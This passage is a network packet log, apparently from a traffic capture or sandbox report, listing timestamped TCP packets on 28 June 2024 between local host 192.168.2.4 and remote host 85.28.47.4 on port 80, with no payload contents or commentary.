Jun 28, 2024 22:32:05.879813910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879828930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879841089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879853964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879868984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879878998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879890919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879904985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879916906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879930019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879940987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879955053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879966021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879978895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879992008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880003929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880028009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880067110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880548000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880563021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880577087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880592108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880601883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880614996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880630016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880640030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880652905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880664110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880676031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880695105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880702019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880714893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880732059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880740881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880754948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880769014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880779028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880793095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.880806923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.880844116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.881433964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881458044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881472111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881484985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.881496906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881511927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881522894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.881536007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881550074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881561041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.881575108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881588936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.881599903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881614923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.881623983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881639004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881654024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.881664038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.881685972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.881699085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.967792034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.967848063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.967855930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.967988014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.967998981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968013048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968028069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968044996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968177080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968233109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968233109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968233109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968250036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968265057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968280077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968297958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968408108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968424082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968439102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968451023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968462944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968493938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968523979 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968719006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968733072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968746901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968761921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968771935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968786955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968796968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968811989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968822002 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968836069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.968858957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.968895912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.969065905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969114065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.969145060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969161987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969176054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969191074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969211102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969218969 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.969238997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.969275951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.969538927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969553947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969568968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969580889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.969593048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969603062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.969615936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969630957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.969640017 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.969676018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970011950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970026970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970041990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970060110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970071077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970087051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970098019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970110893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970124960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970135927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970153093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970160961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970175028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970185995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970197916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970208883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970221996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970237970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970247984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970278978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970807076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970822096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970837116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970849991 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970860958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970875978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970890045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970901966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970916033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970933914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970942020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970957041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.970966101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970979929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.970988989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971003056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971013069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971024990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971035004 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971046925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971055984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971070051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971081018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971095085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971117973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971741915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971756935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971771002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971781969 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971795082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971810102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971820116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971833944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971844912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971858025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971873045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971887112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971895933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971910000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971924067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971932888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971946955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971966028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.971987009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.971997023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972009897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972024918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972045898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972069979 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972645044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972660065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972681999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972692013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972704887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972718954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972728968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972742081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972757101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972769022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972784996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972804070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972810984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972822905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972840071 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972846985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972862005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972877979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972889900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972903013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.972914934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.972961903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973591089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973612070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973627090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973635912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973649979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973659992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973675966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973684072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973697901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973706961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973725080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973731995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973741055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973753929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973764896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973783970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973798037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973813057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973824024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973836899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973851919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973865032 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973876953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.973901987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.973941088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.974410057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.974426031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.974441051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.974452019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.974464893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.974477053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.974488974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.974513054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.974523067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.974560976 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.974587917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.060511112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.060535908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.060550928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.060596943 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.060631037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.060722113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.060736895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.060750961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.060766935 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.060777903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.060805082 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.060842037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.060918093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.060966015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.060992956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061007977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061033964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061057091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061198950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061214924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061229944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061244965 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061256886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061279058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061322927 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061348915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061362028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061378002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061391115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061422110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061429977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061443090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061459064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061469078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061481953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061497927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061507940 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061546087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061794996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061844110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.061960936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061975956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.061990976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062005043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062015057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062032938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062038898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062053919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062069893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062077999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062093019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062108994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062119007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062141895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062167883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062349081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062392950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062417984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062433004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062448025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062459946 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062489033 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062674999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062691927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062706947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062721014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062731028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062747002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062762976 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062769890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062786102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.062798977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.062836885 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.063019991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063034058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063072920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.063147068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063163042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063177109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063188076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.063200951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063214064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063225985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.063239098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063254118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063263893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.063283920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063292980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.063307047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063321114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.063332081 CEST	49731	80	192.168.2.4	85.28.47.4
